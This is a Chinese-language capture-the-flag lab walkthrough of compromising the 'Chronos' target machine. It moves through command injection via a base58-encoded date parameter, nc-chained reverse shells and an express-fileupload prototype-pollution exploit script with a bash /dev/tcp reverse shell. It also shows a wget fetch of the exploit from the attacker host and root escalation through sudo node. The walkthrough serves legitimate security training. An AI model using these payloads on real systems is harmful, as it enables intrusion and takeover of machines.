打靶过程
kali ip:192.168.1.4
靶机 ip:192.168.1.5
1、主机发现
arp-scan -l 发现靶机地址为192.168.1.5
2、端口扫描,服务发现
nmap -p- -sV 192.168.1.5
发现靶机上开启了22、80、8000端口
80端口 开启apache服务
并且8000端口上部署着 Node.js Express frameword 用的Node.js语言搭建的web页面,且框架用的是express
3、分别访问192.168.1.5:80 和 192.168.1.5:8000
分别发现 192.168.1.5:8000
192.168.1.5:80
ctrl+u查看网页源代码,发现有一段Js代码
将其复制,并利用https://gchq.github.io/CyberChef/
上的javascript Beautify工具进行美化
var _0x5bdf = [
'150447srWefj',
'70lwLrol',
'1658165LmcNig',
'open',
'1260881JUqdKM',
'10737CrnEEe',
'2SjTdWC',
'readyState',
'responseText',
'1278676qXleJg',
'797116soVTES',
'onreadystatechange',
'http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL',
'User-Agent',
'status',
'1DYOODT',
'400909Mbbcfr',
'Chronos',
'2QRBPWS',
'getElementById',
'innerHTML',
'date'
];
(function (_0x506b95, _0x817e36) {
var _0x244260 = _0x432d;
while (!![]) {
try {
var _0x35824b = -parseInt(_0x244260(126)) * parseInt(_0x244260(144)) + parseInt(_0x244260(142)) + parseInt(_0x244260(127)) * parseInt(_0x244260(131)) + -parseInt(_0x244260(135)) + -parseInt(_0x244260(130)) * parseInt(_0x244260(141)) + -parseInt(_0x244260(136)) + parseInt(_0x244260(128)) * parseInt(_0x244260(132));
if (_0x35824b === _0x817e36)
break;
else
_0x506b95['push'](_0x506b95['shift']());
} catch (_0x3fb1dc) {
_0x506b95['push'](_0x506b95['shift']());
}
}
}(_0x5bdf, 831262));
function _0x432d(_0x16bd66, _0x33ffa9) {
return _0x432d = function (_0x5bdf82, _0x432dc8) {
_0x5bdf82 = _0x5bdf82 - 126;
var _0x4da6e8 = _0x5bdf[_0x5bdf82];
return _0x4da6e8;
}, _0x432d(_0x16bd66, _0x33ffa9);
}
function loadDoc() {
var _0x17df92 = _0x432d, _0x1cff55 = _0x17df92(143), _0x2beb35 = new XMLHttpRequest();
_0x2beb35[_0x17df92(137)] = function () {
var _0x146f5d = _0x17df92;
this[_0x146f5d(133)] == 4 && this[_0x146f5d(140)] == 200 && (document[_0x146f5d(145)](_0x146f5d(147))[_0x146f5d(146)] = this[_0x146f5d(134)]);
}, _0x2beb35[_0x17df92(129)]('GET', _0x17df92(138), !![]), _0x2beb35['setRequestHeader'](_0x17df92(139), _0x1cff55), _0x2beb35['send']();
}
从代码中我们发现其中的好多字母都被编码了,但是不难发现其中有一条访问的ip地址
'http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL'
当前页面会加载的过程中会访问这个网址的资源,读取某些页面资源,放在页面当中
chronos.local目前还没有办法解析,怀疑其中的chronos.local是目标靶机本身
因此,接下来的操作通过编辑主机下的hosts文件,绑定主机和ip的对应关系
127.0.0.1 localhost
127.0.1.1 kali
192.168.1.5 chronos.local
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
再次刷新页面,发现页面发生了变化
某似加载了时间日期,通过burp抓包来确认一下
发起了三次请求,访问了http://192.168.1.5
和http://chronos.local:8000
通过观察我们发现在访问http://chronos.local:8000
时,采用GET请求,提交的数据为format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
时,response响应内容回显在页面
format后面传递的数据可能是通过base64编码来完成了,我们继续用https://gchq.github.io/CyberChef/
工具进行解码操作
利用该工具中的magic方法,自动识别到了该编码采用的是base58进行编码的,我们通过base58解码发现,解码出来的字符串为
'+Today is %A, %B %d, %Y %H:%M:%S.' 应该是日期的一种格式化输出
┌──(liuzongfu㉿kali)-[~]
└─$ date '+Today is %A, %B %d, %Y %H:%M:%S.'
Today is 星期六, 八月 21, 2021 11:57:27.
尝试在本地的kali上运行,和期望的样子一样
那么在format参数提交的时候是否能采用命令注入的手段
date '+Today is %A, %B %d, %Y %H:%M:%S.' && ls
date '+Today is %A, %B %d, %Y %H:%M:%S.' || ls
date '+Today is %A, %B %d, %Y %H:%M:%S.' ; ls
使用burp的repeater工具进行抓包,修改数据进行重放,其中注意的是修改的数据也应该需要base58进行编码
发现存在命令注入漏洞,我们继续拼接&& ls /bin
的base58编码,看/bin
目录下有没有nc,修改发现有nc
继续对&& nc 192.168.1.4 4444
进行base58编码拼接,然后在本地开启监听端口nc -nvlp 4444
,burp重放包,发现可以连接到本地。
但修改命令为&& nc 192.168.1.4 4444 -e /bin/bash
发现,该版本的nc没有-e参数,因此需要用到nc串联的方式
&& nc 192.168.1.4 4444 | /bin/bash | nc 192.168.1.4 5555
ls
pwd
cat /etc/passwd
cd /home
cd imera
ls -l
sudo -l
一系列操作后,发现权限非常低,需要提权
这时需要白盒代码审计,进入/opt
发现有两个文件夹chronos
和chronos-v2
两个文件夹,挨个进行代码审计
经过查询后,发现这里存在express-fileupload
漏洞,具体参考https://blog.p6.is/Real-World-JS-1/
博客
作者也在最后贴出了payload
import requests
cmd = 'bash -c "bash -i &> /dev/tcp/p6.is/8888 0>&1"'
# pollute
requests.post('http://p6.is:7777', files = {'__proto__.outputFunctionName': (
None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
# execute command
requests.get('http://p6.is:7777')
结合实验构造自己的payload exp.py
import requests
cmd = 'bash -c "bash -i &> /dev/tcp/192.168.1.4/4444 0>&1"'
# pollute
requests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': (
None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
# execute command
requests.get('http://127.0.0.1:8080')
在本地开启服务器,让靶机下载我们的payload exp.py
kali
python3 -m http.server 80
靶机
wget http://192.168.1.4/exp.py 下载exp.py 下载在/tmp目录下
然后执行 python3 exp.py
并且主机监听 nc -nvlp 4444
利用成功
id
发现自己已经是imera权限
uid=1000(imera) gid=1000(imera) groups=1000(imera),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
进入cd /home/imera下,发现存在user.txt,cat一下,发现flag
byBjaHJvbm9zIHBlcm5hZWkgZmlsZSBtb3UK
为了提升到root权限
Linux下提权有三种方式
1、内核漏洞 2、利用suid权限配置不当 3、利用sudo权限不谨慎的地方
我们尝试sudo -l
imera@chronos:~$ sudo -l
sudo -l
Matching Defaults entries for imera on chronos:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
User imera may run the following commands on chronos:
(ALL) NOPASSWD: /usr/local/bin/npm *
(ALL) NOPASSWD: /usr/local/bin/node *
可以发现不需要密码提示的情况下,可以运行node和npm命令
是否可以利用node代码提权
sudo node -e 'child_process.spawn("/bin/bash",{stdio:[0,1,2]})'
< 'child_process.spawn("/bin/bash",{stdio:[0,1,2]})'
id
uid=0(root) gid=0(root) groups=0(root) 权限提升成功
cd /root
ls
root.txt
cat root.txt
YXBvcHNlIHNpb3BpIG1hemV1b3VtZSBvbmVpcmEK